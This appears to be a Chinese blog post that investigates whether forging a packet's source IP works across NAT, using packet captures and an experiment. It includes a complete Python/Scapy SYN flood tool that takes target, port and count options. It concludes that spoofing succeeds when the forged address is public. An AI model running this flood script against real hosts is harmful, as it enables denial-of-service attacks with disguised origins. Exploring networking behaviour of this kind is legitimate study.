昨天有个朋友问我ip伪造的可行性,以前没深入了解过,于是上网搜索了一番,发现syn flood普遍利用了伪造源ip的方式进行攻击。
现在需求变成:
- 伪造源ip对目标发包,不要求接收到返回包
这个需求能实现吗?又是怎么实现的?这个问题乍一看很显然可以,但是细细想来还是有些问题不太明白。
1. 发生困惑
想了一下,这个需求在我认知里面好像是不能实现的,由于之前写syn端口扫描器的时候,在syn tcp数据包中需要填写源ip和源端口,这个源ip是某一个网卡的ip,在自己的电脑上,也就是类似于172.23.22.234的私有ip。于是我产生一个疑问,就是伪造源ip真的有用的话,那么也就代表在正常tcp握手时,server端会识别syn包里的源ip(也就是私有地址),那server端是怎么知道把ack+syn包发到哪里呢?
做个实验,使用wireshark抓包,然后访问百度。
可以看到syn数据包的源ip确实为内网的私有地址172.23.22.234,那么server端拿到的数据包呢,通过tcpdump抓一下包试试
可以看到server端拿到的包源ip为103.202.xxx.xxx也就是我的公网地址。
这样看来伪造数据包的源ip还有用吗?
2. 证明疑惑
首先看了一篇数据包发送寻址的文章《一个数据包在网络中到底是怎么游走的?》
摘抄出其中比较关键的句子:
- 在网络包传输的过程中, 源IP和目标IP始终是不会变的,一直变化的是MAC地址,因为需要MAC地址在以太网内进行 两个设备之间的包传输。
- http响应报文也需要穿上TCP、IP、MAC头部,不过这次是源地址是服务器IP地址,目的地址是客户端IP地址。
那么为什么client发送的源ip到了server端就变了,变成了client的公网ip。这是因为在经过路由器时,会发生网络地址(NAT)转换,路由器通过NAT将源数据包中的源IP由172.23.22.234转换为103.202.xxx.xxx,并且将TCP端口号转换为60159,然后在路由器内部生成转换表。
那么疑问来了,此时伪造数据包中的源ip还有用吗?经过路由器做了nat转换后最终还是会变成公网ip?
3. 解除疑惑
还是做个实验来看,首先使用python构造raw syn包,伪造其中的源ip。
#!/usr/bin/python3
from sys import stdout
from scapy.all import *
from random import randint
from argparse import ArgumentParser
def randomIP():
# ip = ".".join(map(str, (randint(0, 255)for _ in range(4))))
ip = "192.168.1.20"
print(f"srcip: {ip}")
return ip
def randInt():
x = randint(1000, 9000)
return x
def SYN_Flood(dstIP, dstPort, counter):
total = 0
print ("Packets are sending ...")
for x in range (0, counter):
s_port = randInt()
s_eq = randInt()
w_indow = randInt()
IP_Packet = IP ()
IP_Packet.src = randomIP()
IP_Packet.dst = dstIP
TCP_Packet = TCP ()
TCP_Packet.sport = s_port
TCP_Packet.dport = int(dstPort)
TCP_Packet.flags = "S"
TCP_Packet.seq = s_eq
TCP_Packet.window = w_indow
send(IP_Packet/TCP_Packet, verbose=0)
total+=1
stdout.write("\nTotal packets sent: %i\n" % total)
def main():
parser = ArgumentParser()
parser.add_argument('--target', '-t', help='target IP address')
parser.add_argument('--port', '-p', help='target port number')
parser.add_argument('--count', '-c', help='number of packets')
parser.add_argument('--version', '-v', action='version', version='Python SynFlood Tool v2.0.1\n@EmreOvunc')
parser.epilog = "Usage: python3 py3_synflood_cmd.py -t 10.20.30.40 -p 8080 -c 1"
args = parser.parse_args()
if args.target is not None:
if args.port is not None:
if args.count is None:
print('[!]You did not use --counter/-c parameter, so 1 packet will be sent..')
SYN_Flood(args.target, args.port, 1)
else:
SYN_Flood(args.target, args.port, int(args.count))
else:
print('[-]Please, use --port/-p to give target\'s port!')
print('[!]Example: -p 445')
print('[?] -h for help')
exit()
else:
print('''usage: py3_synflood_cmd.py [-h] [--target TARGET] [--port PORT]
[--count COUNT] [--version]
optional arguments:
-h, --help show this help message and exit
--target TARGET, -t TARGET
target IP address
--port PORT, -p PORT target port number
--count COUNT, -c COUNT
number of packets
--version, -v show program's version number and exit''')
exit()
main()
修改其源ip来测试一下:
首先测试伪造源ip为一个随机的公网ip:
发现server收到的源ip就是我们伪造的公网ip。看来经过路由器时,对源ip是公网ip的数据包不做nat转换。
接下来将数据包的源ip改成私有ip试试,按照猜想此时server收到的源ip应该是client的公网出口ip:
确实是这样,猜想正确,数据包经过路由器被NAT转换了。
回头看看,问题就是对nat转换的过程不够清晰,路由器只对特定的数据包做nat转换。
4. 总结
伪造源ip对目标发包的需求是完全可以实现的,但是需要保证伪造的src ip不能被路由器进行nat转换。一般情况下,保证伪造的源ip为公有ip即可。
暂无评论内容